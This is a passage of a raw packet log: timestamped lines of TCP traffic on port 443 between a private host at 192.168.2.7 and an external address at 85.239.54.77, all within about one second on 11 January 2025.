Jan 11, 2025 09:26:36.595423937 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.595431089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.595468044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.596506119 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.596524954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.596580982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.596586943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.596616030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.596626997 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.597382069 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.597397089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.597397089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.597425938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.597431898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.597465992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.597932100 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.597949028 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.597991943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.598000050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.598021030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.598068953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.598498106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.598511934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.598546028 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.598551989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.598584890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.598601103 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.608136892 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.617224932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.617249012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.617288113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.617300987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.617347002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.633529902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.680785894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.680813074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.680871010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.680891037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.680905104 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.680942059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.681308985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.681328058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.681358099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.681366920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.681399107 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.681416988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.681864977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.681881905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.681936026 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.681946039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.682001114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.683259010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.683274031 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.683330059 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.683337927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.683373928 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.683909893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.683924913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.683959961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.683965921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.683986902 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.684007883 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.684439898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.684453964 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.684511900 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.684520960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.684564114 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.685012102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.685028076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.685065985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.685074091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.685087919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.685101986 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.685128927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.689889908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.704133987 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.704169035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.704204082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.704240084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.704260111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.704297066 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.767776966 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.767838001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.767853975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.767893076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.767914057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.767941952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.768224955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.768241882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.768277884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.768286943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.768310070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.768333912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.769011021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.769028902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.769085884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.769093037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.769129992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.770168066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.770181894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.770212889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.770220041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.770257950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.770766020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.770781040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.770829916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.770836115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.770873070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.771130085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.771145105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.771184921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.771190882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.771209002 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.771233082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.771573067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.771881104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.771895885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.771939039 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.771945000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.772310972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.774940014 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.790882111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.790908098 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.790944099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.790951967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.790998936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.854660034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.854693890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.854759932 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.854784012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.854821920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.855114937 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.855135918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.855170965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.855178118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.855209112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.855226040 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.855562925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.855580091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.855614901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.855621099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.855648994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.855669975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.857114077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.857131004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.857177973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.857184887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.857218981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.857650042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.857666969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.857697964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.857703924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.857733965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.857750893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.858223915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.858242989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.858273029 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.858278036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.858303070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.858325958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.858513117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.858530045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.858571053 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.858576059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.858609915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.858676910 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.926084042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.926101923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.926147938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.926166058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.926194906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.926213980 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.941349983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.941380978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.941421032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.941430092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.941468954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.941488981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.941718102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.941742897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.941775084 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.941781044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.941807032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.941826105 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.942251921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.942267895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.942306042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.942312002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.942338943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.942356110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.943912983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.943928003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.943953991 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.943958998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.943989992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.944299936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.944315910 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.944360971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.944367886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.944411993 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.944854021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.944869041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.944916010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.944921970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.944958925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.945152044 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.945393085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.945422888 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.945450068 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.945456982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:36.945483923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.945498943 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:36.948457003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.013088942 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.013124943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.013273954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.013298988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.013403893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.028228998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.028264046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.028320074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.028335094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.028633118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.028655052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.028704882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.028713942 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.028728008 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.028755903 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.029392004 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.029411077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.029457092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.029464960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.029555082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.030761957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.030781984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.030846119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.030854940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.030909061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.035446882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.035478115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.035526037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.035543919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.035556078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.035577059 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.035584927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.035618067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.035625935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.035648108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.076312065 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.099872112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.099895954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.099934101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.099951982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.099977970 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.100290060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.117422104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.117449999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.117646933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.117655993 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.117881060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.118083000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.118102074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.118149042 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.118155956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.118246078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.118685007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.118705034 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.118750095 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.118757010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.119112015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.119132996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.119172096 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.119179010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.119206905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.119231939 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.119585037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.119602919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.119637966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.119646072 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.119663000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.119680882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.120407104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.120424986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.120471954 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.120477915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.121222019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.121247053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.121273994 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.121279955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.121299982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.121330976 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.122114897 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.186496019 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.186532974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.186652899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.186678886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.186913013 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.204389095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.204417944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.204480886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.204508066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.204751015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.204777002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.204806089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.204816103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.204832077 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.204863071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.205249071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.205266953 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.205321074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.205328941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.205672979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.205697060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.205729961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.205737114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.205770969 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.205795050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.206316948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.206334114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.206393003 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.206399918 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.206557989 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.206760883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.206779957 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.206825018 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.206831932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.206891060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.207357883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.207377911 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.207504988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.207513094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.207559109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.209037066 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.273530960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.273566008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.273642063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.273678064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.274547100 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.291202068 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.291269064 CET	443	49941	85.239.54.77	192.168.2.7
